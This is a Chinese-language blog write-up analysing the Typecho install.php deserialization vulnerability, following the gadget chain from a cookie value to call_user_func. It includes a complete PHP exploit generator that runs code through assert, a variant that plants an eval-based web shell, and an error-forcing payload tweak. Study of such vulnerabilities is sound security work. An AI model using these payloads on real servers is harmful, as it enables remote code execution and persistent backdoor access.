typecho反序列化漏洞分析

在写之前必须感叹一下静态博客的好~~~

源码地址 https://github.com/pupiles/vulcms

测试环境Seay源代码审计系统 + PHP5.4 + firefox

漏洞url

1
http://localhost/typecho/install.php

漏洞细节

首先我们直接切入漏洞存在的文件install.php
59行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

这里比较容易绕过,finish参数不能为空,然后refer必须是本站
230行

1
2
3
4
5
6
7
8
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这里注意一下

1
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

这里如果我们的Typecho_Cookie::get('__typecho_config')的可控的话,那么就可能存在反序列化漏洞,跟进Typecho_Cookie类下的get方法看看。

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

这里的逻辑是先判断存不存在$_COOKIE,如果不存在就直接从$_POST中取,不管是哪种情况我们都可以控制了反序列化内容。跳回去我们继续看

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

这里实例化了Typecho_Db,同样拐进去看一下这个类的__construct魔法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

这时候我们的关键漏洞代码就出现了

1
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

这里是把$adapterName进行了字符串拼接,这个$adapterName是我们可控的变量类型,我们知道当一个类被直接当成字符串的时候会调用__toString魔法方法,所以我们这时候只要全局搜索一下__toString方法即可。

一番搜索后我们来到Feed.php这里__toString方法太长了,我在这里只截取关键部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
...
...
...
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

这里我们可以看一下关键部分

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

这里我们获取了$item['author']->screenName,这里有个php反序列化的知识点,当我们试图去访问一个对象的不存在或者私有属性的时候会触发__get魔法方法。所以这里如果我们的$item['author']是一个对象,且该对象没有screenName属性,那么我们就可以利用__get方法,那么思路又清晰了,全局搜索__get方法。

找到Request.php
找到目标方法

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

这里又调用了_applyFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

这里熟悉php的小伙伴肯定一眼就看出来了call_user_func命令执行,而$filter$value都是我们可控的。照着这个逻辑我们来尝试写一下exp。
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
private $_charset;

public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}


class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => '_pupiles'
);

echo base64_encode(serialize($exp));

然而写完这个exp怎么打都是返回服务器500,晕倒爆炸,后来看了Loy师傅的文章,才知道原来是ob_start原因。

这里开启了ob_start的话会让脚本没有回显,同时我们的exp会触发自有的exception,我们看看触发exception会出现什么后果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function exceptionHandle($exception)
{
if (defined('__TYPECHO_DEBUG__')) {
echo '<pre><code>';
echo '<h1>' . htmlspecialchars($exception->getMessage()) . '</h1>';
echo htmlspecialchars($exception->__toString());
echo '</code></pre>';
} else {
@ob_end_clean();
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}

exit;
}

调用了ob_end_clean方法清空了缓冲区,所以我们的phpinfo没有显示出来,不过php还是执行的,这就意味这我们可以修改以上代码

1
2
3
4
5
6
7
8
9
10
class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = "file_put_contents('pupiles.php', '<?php @eval($_POST[xdsec]); ?>')";
$this->_filter[0] = 'assert';
}
}

这样虽然没有回显但是我们的php还是成功写入了。
而Loy师傅给出了2种产生回显的解决方案

  1. 因为 call_user_func 函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
  2. 第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
    同时给出了他的payload
    1
    2
    3
    4
    5
    6
    7
    public function __construct(){
    $this->_type = $this::RSS2;
    $this->_items[0] = array(
    'category' => array(new Typecho_Request()),
    'author' => new Typecho_Request(),
    );
    }

加了一行

1
'category' => array(new Typecho_Request()),

我们回到代码中引入category变量的地方

1
2
3
4
5
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}

这里如果我们把一个任意类的对象封装成一个数组传给category的时候其实就是变相构造了一个报错,使其无法正常的执行ob_end_clean()。

好啦,分析完刚好一点,上床睡觉美滋滋,迎接美好(累成狗)的周末
PS(其实我还是不知道这个原生的exception是如何触发的,如果有知道的师傅麻烦留个言谢谢)